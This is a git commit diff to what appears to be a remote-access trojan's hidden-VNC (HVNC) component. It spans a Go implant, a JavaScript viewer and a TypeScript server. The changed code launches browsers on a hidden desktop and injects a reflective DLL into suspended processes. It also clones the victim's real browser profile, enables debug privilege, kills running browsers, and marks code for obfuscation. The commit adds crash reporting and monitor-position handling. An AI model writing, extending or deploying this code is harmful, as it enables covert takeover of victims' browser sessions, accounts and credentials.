add more info for when chrome gets killed

This commit is contained in:
KingKDot
2026-05-15 21:01:42 -05:00
parent 34b6273d8b
commit 0c9e156d95
7 changed files with 181 additions and 40 deletions
@@ -4,7 +4,7 @@ package capture
import "errors" import "errors"
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) { func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
return 0, errors.New("HVNC injection not supported on this platform") return 0, errors.New("HVNC injection not supported on this platform")
} }
@@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
type DXGIStatusFunc func(success bool, gpuPID uint32, message string) type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
type LaunchStatusFunc func(step string, success bool, detail string) type LaunchStatusFunc func(step string, success bool, detail string)
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
return errors.New("HVNC injection not supported on this platform") return errors.New("HVNC injection not supported on this platform")
} }
@@ -30,6 +30,7 @@ var (
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW") procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
procMapViewOfFile = kernel32.NewProc("MapViewOfFile") procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile") procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
procGetExitCodeProcess = kernel32.NewProc("GetExitCodeProcess")
) )
var advapi32 = syscall.NewLazyDLL("advapi32.dll") var advapi32 = syscall.NewLazyDLL("advapi32.dll")
@@ -66,6 +67,58 @@ const (
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
) )
func describeExitCode(code uint32) string {
switch code {
case 0:
return "normal exit"
case 0xC0000005:
return "access violation (0xC0000005)"
case 0xC0000374:
return "heap corruption (0xC0000374)"
case 0xC0000409:
return "stack buffer overrun (0xC0000409)"
case 0xC000001D:
return "illegal instruction (0xC000001D)"
case 0xC00000FD:
return "stack overflow (0xC00000FD)"
case 0xC0000096:
return "privileged instruction (0xC0000096)"
case 0x40010004:
return "debugger terminated process"
case 0xC000013A:
return "process killed by Ctrl+C"
case 1:
return "general error (exit code 1)"
default:
return fmt.Sprintf("exit code 0x%X (%d)", code, code)
}
}
func monitorProcessCrash(pid uint32, label string, notify func(step string, success bool, detail string)) {
hProc, _, _ := procOpenProcess.Call(
SYNCHRONIZE|0x1000, // SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION
0, uintptr(pid),
)
if hProc == 0 {
return
}
defer procCloseHandle.Call(hProc)
ret, _, _ := procWaitForSingleObject.Call(hProc, 8000)
if ret != 0 {
return
}
var exitCode uint32
procGetExitCodeProcess.Call(hProc, uintptr(unsafe.Pointer(&exitCode)))
if exitCode == 0 {
notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode)))
} else {
notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
}
}
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process. // enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
func enableDebugPrivilege() { func enableDebugPrivilege() {
var hToken uintptr var hToken uintptr
@@ -103,7 +156,7 @@ func enableDebugPrivilege() {
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop, // StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// injects the reflective DLL, then resumes it. // injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks. // searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) { func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
if filePath == "" { if filePath == "" {
return 0, fmt.Errorf("empty file path") return 0, fmt.Errorf("empty file path")
} }
@@ -118,6 +171,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
captureDllBytes: captureDllBytes, captureDllBytes: captureDllBytes,
searchPath: searchPath, searchPath: searchPath,
replacePath: replacePath, replacePath: replacePath,
display: display,
}, 30*time.Second) }, 30*time.Second)
if err != nil { if err != nil {
return 0, err return 0, err
@@ -125,7 +179,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
return result.pid, result.err return result.pid, result.err
} }
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
if onDXGIStatus != nil { if onDXGIStatus != nil {
hvncDXGIStatusCallback.Store(onDXGIStatus) hvncDXGIStatusCallback.Store(onDXGIStatus)
} }
@@ -158,12 +212,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
} }
if isProcessRunning(processName) { if isProcessRunning(processName) {
notify("kill", true, fmt.Sprintf("killing running %s", processName)) notify("kill", true, fmt.Sprintf("killing running %s", processName))
killProcess(processName) killed := killProcess(processName)
time.Sleep(1500 * time.Millisecond) time.Sleep(1500 * time.Millisecond)
if isProcessRunning(processName) { if isProcessRunning(processName) {
notify("kill", false, fmt.Sprintf("%s still running after kill attempt", processName)) notify("kill", false, fmt.Sprintf("%s still running after kill attempt (%d terminated)", processName, len(killed)))
} else { } else {
notify("kill", true, fmt.Sprintf("%s terminated", processName)) notify("kill", true, fmt.Sprintf("terminated %d %s process(es) (PIDs %v)", len(killed), processName, killed))
} }
} else { } else {
notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName)) notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName))
@@ -172,7 +226,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
if !clone { if !clone {
notify("launch", true, "starting without profile cloning") notify("launch", true, "starting without profile cloning")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "") pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
if err != nil { if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err return err
@@ -184,6 +238,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
patchOperaAsync(pid, 5, 2*time.Second) patchOperaAsync(pid, 5, 2*time.Second)
}() }()
} }
if pid != 0 {
go func() {
defer recoverAndLog("hvnc crash monitor", nil)
monitorProcessCrash(pid, info.name, notify)
}()
}
return nil return nil
} }
@@ -224,7 +284,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
} }
notify("launch", true, "starting with cloned profile") notify("launch", true, "starting with cloned profile")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir) pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
if err != nil { if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err return err
@@ -236,12 +296,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
patchOperaAsync(pid, 5, 2*time.Second) patchOperaAsync(pid, 5, 2*time.Second)
}() }()
} }
if pid != 0 {
go func() {
defer recoverAndLog("hvnc crash monitor", nil)
monitorProcessCrash(pid, info.name, notify)
}()
}
return nil return nil
} }
// StartHVNCChromeInjected is kept for backward compatibility. // StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil, nil) return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
} }
type browserInfo struct { type browserInfo struct {
@@ -417,10 +483,10 @@ func isProcessRunning(name string) bool {
return false return false
} }
func killProcess(name string) { func killProcess(name string) []uint32 {
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0) snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
if snapshot == uintptr(^uintptr(0)) { if snapshot == uintptr(^uintptr(0)) {
return return nil
} }
defer procCloseHandle.Call(snapshot) defer procCloseHandle.Call(snapshot)
@@ -437,11 +503,12 @@ func killProcess(name string) {
ExeFile [260]uint16 ExeFile [260]uint16
} }
var killed []uint32
var entry processEntry32 var entry processEntry32
entry.Size = uint32(unsafe.Sizeof(entry)) entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry))) ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
if ret == 0 { if ret == 0 {
return return nil
} }
target := strings.ToLower(name) target := strings.ToLower(name)
for { for {
@@ -449,9 +516,14 @@ func killProcess(name string) {
if strings.ToLower(exeName) == target { if strings.ToLower(exeName) == target {
hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
if hProc != 0 { if hProc != 0 {
kernel32.NewProc("TerminateProcess").Call(hProc, 0) r, _, _ := kernel32.NewProc("TerminateProcess").Call(hProc, 0)
procCloseHandle.Call(hProc) procCloseHandle.Call(hProc)
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID) if r != 0 {
killed = append(killed, entry.ProcessID)
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
} else {
log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
}
} }
} }
entry.Size = uint32(unsafe.Sizeof(entry)) entry.Size = uint32(unsafe.Sizeof(entry))
@@ -460,6 +532,7 @@ func killProcess(name string) {
break break
} }
} }
return killed
} }
func getBrowserUserDataDir(info browserInfo) string { func getBrowserUserDataDir(info browserInfo) string {
@@ -785,7 +858,7 @@ func calcDirSize(dir string) int64 {
return total return total
} }
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) { func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" { if filePath == "" {
return 0, fmt.Errorf("empty file path") return 0, fmt.Errorf("empty file path")
@@ -805,7 +878,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
enableDebugPrivilege() enableDebugPrivilege()
// Create the process suspended on the HVNC desktop // Create the process suspended on the HVNC desktop
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes)) hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
if err != nil { if err != nil {
procCloseHandle.Call(shmHandle) procCloseHandle.Call(shmHandle)
return 0, fmt.Errorf("failed to create suspended process: %v", err) return 0, fmt.Errorf("failed to create suspended process: %v", err)
@@ -1052,12 +1125,17 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
return handle, name, nil return handle, name, nil
} }
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int) (hProcess, hThread uintptr, pid uint32, err error) { func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
if err != nil { if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err) return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
} }
args := " --window-position=0,0" posX, posY := 0, 0
if mons := monitorList(); display >= 0 && display < len(mons) {
posX = mons[display].rect.Min.X
posY = mons[display].rect.Min.Y
}
args := fmt.Sprintf(" --window-position=%d,%d", posX, posY)
chromiumExes := map[string]bool{ chromiumExes := map[string]bool{
"chrome.exe": true, "chrome.exe": true,
"brave.exe": true, "brave.exe": true,
@@ -1082,8 +1160,8 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
var pi processInformation var pi processInformation
si.cb = uint32(unsafe.Sizeof(si)) si.cb = uint32(unsafe.Sizeof(si))
si.lpDesktop = desktopNamePtr si.lpDesktop = desktopNamePtr
si.dwX = 0 si.dwX = uint32(posX)
si.dwY = 0 si.dwY = uint32(posY)
si.dwFlags = STARTF_USEPOSITION si.dwFlags = STARTF_USEPOSITION
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize) envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)
@@ -31,7 +31,7 @@ func HVNCMonitorCount() int {
return 0 return 0
} }
func StartHVNCProcess(filePath string, operaPatch bool) error { func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
return errors.New("HVNC not supported on this platform") return errors.New("HVNC not supported on this platform")
} }
@@ -490,9 +490,9 @@ func ensureHVNCThread() error {
var result hvncTaskResult var result hvncTaskResult
switch task.kind { switch task.kind {
case hvncTaskStartProcess: case hvncTaskStartProcess:
result.pid, result.err = startHVNCProcessOnThread(task.filePath) result.pid, result.err = startHVNCProcessOnThread(task.filePath, task.display)
case hvncTaskStartProcessInjected: case hvncTaskStartProcessInjected:
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath) result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath, task.display)
case hvncTaskMouseMove: case hvncTaskMouseMove:
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y) result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
case hvncTaskMouseDown: case hvncTaskMouseDown:
@@ -546,13 +546,14 @@ func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return result.img, result.err return result.img, result.err
} }
func StartHVNCProcess(filePath string, operaPatch bool) error { func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
if filePath == "" { if filePath == "" {
return fmt.Errorf("empty file path") return fmt.Errorf("empty file path")
} }
result, err := executeHVNCTask(hvncTask{ result, err := executeHVNCTask(hvncTask{
kind: hvncTaskStartProcess, kind: hvncTaskStartProcess,
filePath: strings.TrimSpace(filePath), filePath: strings.TrimSpace(filePath),
display: display,
}, 10*time.Second) }, 10*time.Second)
if err != nil { if err != nil {
return err return err
@@ -917,7 +918,7 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
return img, nil return img, nil
} }
func startHVNCProcessOnThread(filePath string) (uint32, error) { func startHVNCProcessOnThread(filePath string, display int) (uint32, error) {
if filePath == "" { if filePath == "" {
return 0, fmt.Errorf("empty file path") return 0, fmt.Errorf("empty file path")
} }
@@ -930,12 +931,17 @@ func startHVNCProcessOnThread(filePath string) (uint32, error) {
if err != nil { if err != nil {
return 0, fmt.Errorf("failed to convert command line: %v", err) return 0, fmt.Errorf("failed to convert command line: %v", err)
} }
posX, posY := 0, 0
if mons := monitorList(); display >= 0 && display < len(mons) {
posX = mons[display].rect.Min.X
posY = mons[display].rect.Min.Y
}
var si startupInfo var si startupInfo
var pi processInformation var pi processInformation
si.cb = uint32(unsafe.Sizeof(si)) si.cb = uint32(unsafe.Sizeof(si))
si.lpDesktop = desktopNamePtr si.lpDesktop = desktopNamePtr
si.dwX = 0 si.dwX = uint32(posX)
si.dwY = 0 si.dwY = uint32(posY)
si.dwFlags = STARTF_USEPOSITION si.dwFlags = STARTF_USEPOSITION
ret, _, callErr := procCreateProcessW.Call( ret, _, callErr := procCreateProcessW.Call(
@@ -971,7 +977,7 @@ func hvncAutoStartExplorerOnThread() error {
} }
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe") log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
_, err := startHVNCProcessOnThread("explorer.exe") _, err := startHVNCProcessOnThread("explorer.exe", 0)
if err != nil { if err != nil {
return fmt.Errorf("auto-start explorer failed: %w", err) return fmt.Errorf("auto-start explorer failed: %w", err)
} }
+18 -6
View File
@@ -1499,6 +1499,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
filePath := "" filePath := ""
killExe := "" killExe := ""
operaPatch := false operaPatch := false
display := 0
if payload != nil { if payload != nil {
if v, ok := payload["path"].(string); ok { if v, ok := payload["path"].(string); ok {
filePath = v filePath = v
@@ -1509,8 +1510,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["opera_patch"].(bool); ok { if v, ok := payload["opera_patch"].(bool); ok {
operaPatch = v operaPatch = v
} }
if v, ok := payload["display"].(float64); ok {
display = int(v)
}
} }
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch) log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process", nil, func() { goSafe("hvnc_start_process", nil, func() {
sendLaunchStatus := func(step string, success bool, detail string) { sendLaunchStatus := func(step string, success bool, detail string) {
@@ -1531,7 +1535,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
} }
} }
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath)) sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil { if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil {
log.Printf("hvnc: start process failed for %q: %v", filePath, err) log.Printf("hvnc: start process failed for %q: %v", filePath, err)
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err)) sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
} else { } else {
@@ -1635,6 +1639,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
filePath := "" filePath := ""
searchPath := "" searchPath := ""
replacePath := "" replacePath := ""
display := 0
if payload != nil { if payload != nil {
if v, ok := payload["path"].(string); ok { if v, ok := payload["path"].(string); ok {
filePath = v filePath = v
@@ -1645,6 +1650,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["replace_path"].(string); ok { if v, ok := payload["replace_path"].(string); ok {
replacePath = v replacePath = v
} }
if v, ok := payload["display"].(float64); ok {
display = int(v)
}
} }
dllBytes := extractDLLBytes(payload) dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 { if len(dllBytes) == 0 {
@@ -1652,10 +1660,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil return nil
} }
captureDllBytes := extractCaptureDLLBytes(payload) captureDllBytes := extractCaptureDLLBytes(payload)
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes)) log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process_injected", nil, func() { goSafe("hvnc_start_process_injected", nil, func() {
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil { if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
log.Printf("hvnc: injected process failed for %q: %v", filePath, err) log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
} }
}) })
@@ -1691,6 +1699,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
clone := true clone := true
cloneLite := false cloneLite := false
killIfRunning := false killIfRunning := false
display := 0
if payload != nil { if payload != nil {
if v, ok := payload["browser"].(string); ok { if v, ok := payload["browser"].(string); ok {
browser = v browser = v
@@ -1707,6 +1716,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["killIfRunning"].(bool); ok { if v, ok := payload["killIfRunning"].(bool); ok {
killIfRunning = v killIfRunning = v
} }
if v, ok := payload["display"].(float64); ok {
display = int(v)
}
} }
dllBytes := extractDLLBytes(payload) dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 { if len(dllBytes) == 0 {
@@ -1717,7 +1729,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no browser specified") sendCommandResultSafe(env, cmdID, false, "no browser specified")
return nil return nil
} }
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes)) log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
captureDllBytes := extractCaptureDLLBytes(payload) captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() { goSafe("hvnc_start_browser_injected", nil, func() {
@@ -1751,7 +1763,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Detail: detail, Detail: detail,
}) })
} }
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus, onLaunchStatus); err != nil { if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err) log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
} }
}) })
+43 -2
View File
@@ -400,7 +400,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
const step = msg.step || ""; const step = msg.step || "";
const detail = msg.detail || ""; const detail = msg.detail || "";
if (!msg.success) { if (step === "crashed" || step === "exited") {
launchStatusIcon.className = "fa-solid fa-skull-crossbones text-rose-400";
launchStatusLabel.textContent = `${browser}: ${detail}`;
launchStatusLabel.className = "text-rose-300";
launchHideTimer = setTimeout(() => {
launchStatusEl.classList.add("hidden");
launchStatusEl.classList.remove("flex");
}, 20000);
} else if (!msg.success) {
launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400"; launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400";
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`; launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
launchStatusLabel.className = "text-rose-300"; launchStatusLabel.className = "text-rose-300";
@@ -416,6 +424,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
launchStatusEl.classList.add("hidden"); launchStatusEl.classList.add("hidden");
launchStatusEl.classList.remove("flex"); launchStatusEl.classList.remove("flex");
}, 8000); }, 8000);
} else if (step === "kill") {
launchStatusIcon.className = "fa-solid fa-hand text-amber-400";
launchStatusLabel.textContent = `${browser}: ${detail}`;
launchStatusLabel.className = "text-amber-300";
} else { } else {
launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400"; launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400";
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`; launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
@@ -423,6 +435,35 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
} }
} }
function handleHVNCError(msg) {
const errorText = msg.error || msg.message || "Unknown HVNC error";
console.error("hvnc: server error:", errorText);
if (!launchStatusEl) return;
if (launchHideTimer) {
clearTimeout(launchHideTimer);
launchHideTimer = null;
}
launchStatusEl.classList.remove("hidden");
launchStatusEl.classList.add("flex");
if (msg.critical) {
launchStatusIcon.className = "fa-solid fa-triangle-exclamation text-red-500 text-lg animate-pulse";
launchStatusLabel.textContent = errorText;
launchStatusLabel.className = "text-red-400 font-bold";
launchStatusEl.className = "flex items-center gap-2 bg-red-950/80 border-2 border-red-500 rounded-lg px-4 py-3 text-sm shadow-lg shadow-red-500/20";
launchHideTimer = setTimeout(() => {
launchStatusEl.className = "hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm";
}, 30000);
} else {
launchStatusIcon.className = "fa-solid fa-circle-exclamation text-rose-400";
launchStatusLabel.textContent = errorText;
launchStatusLabel.className = "text-rose-300";
launchHideTimer = setTimeout(() => {
launchStatusEl.classList.add("hidden");
launchStatusEl.classList.remove("flex");
}, 15000);
}
}
function handleBrowserCheckResult(msg) { function handleBrowserCheckResult(msg) {
if (!msg.browsers || !contextMenu) return; if (!msg.browsers || !contextMenu) return;
contextMenu.querySelectorAll("[data-browser]").forEach((btn) => { contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
@@ -929,7 +970,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
return; return;
} }
if (msg && msg.type === "hvnc_error") { if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message); handleHVNCError(msg);
return; return;
} }
if (msg && msg.type === "clipboard_content") { if (msg && msg.type === "clipboard_content") {
@@ -1098,6 +1098,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
path: String(payload.path || ""), path: String(payload.path || ""),
kill_exe: String(payload.kill_exe || ""), kill_exe: String(payload.kill_exe || ""),
opera_patch: Boolean(payload.opera_patch), opera_patch: Boolean(payload.opera_patch),
display: state.display ?? 0,
}); });
break; break;
case "hvnc_kill_all": case "hvnc_kill_all":
@@ -1107,7 +1108,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
const dllData = getInjectionDllBytes(); const dllData = getInjectionDllBytes();
if (!dllData) { if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected"); logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break; break;
} }
const captureDll = getCaptureDllBytes(); const captureDll = getCaptureDllBytes();
@@ -1116,6 +1117,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
search_path: String(payload.search_path || ""), search_path: String(payload.search_path || ""),
replace_path: String(payload.replace_path || ""), replace_path: String(payload.replace_path || ""),
dll: dllData, dll: dllData,
display: state.display ?? 0,
}; };
if (captureDll) cmdPayload.capture_dll = captureDll; if (captureDll) cmdPayload.capture_dll = captureDll;
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload); sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
@@ -1125,13 +1127,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
const dllData = getInjectionDllBytes(); const dllData = getInjectionDllBytes();
if (!dllData) { if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected"); logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break; break;
} }
const captureDllChrome = getCaptureDllBytes(); const captureDllChrome = getCaptureDllBytes();
const chromeCmdPayload: Record<string, any> = { const chromeCmdPayload: Record<string, any> = {
path: String(payload.path || ""), path: String(payload.path || ""),
dll: dllData, dll: dllData,
display: state.display ?? 0,
}; };
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome; if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload); sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
@@ -1141,7 +1144,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
const dllData = getInjectionDllBytes(); const dllData = getInjectionDllBytes();
if (!dllData) { if (!dllData) {
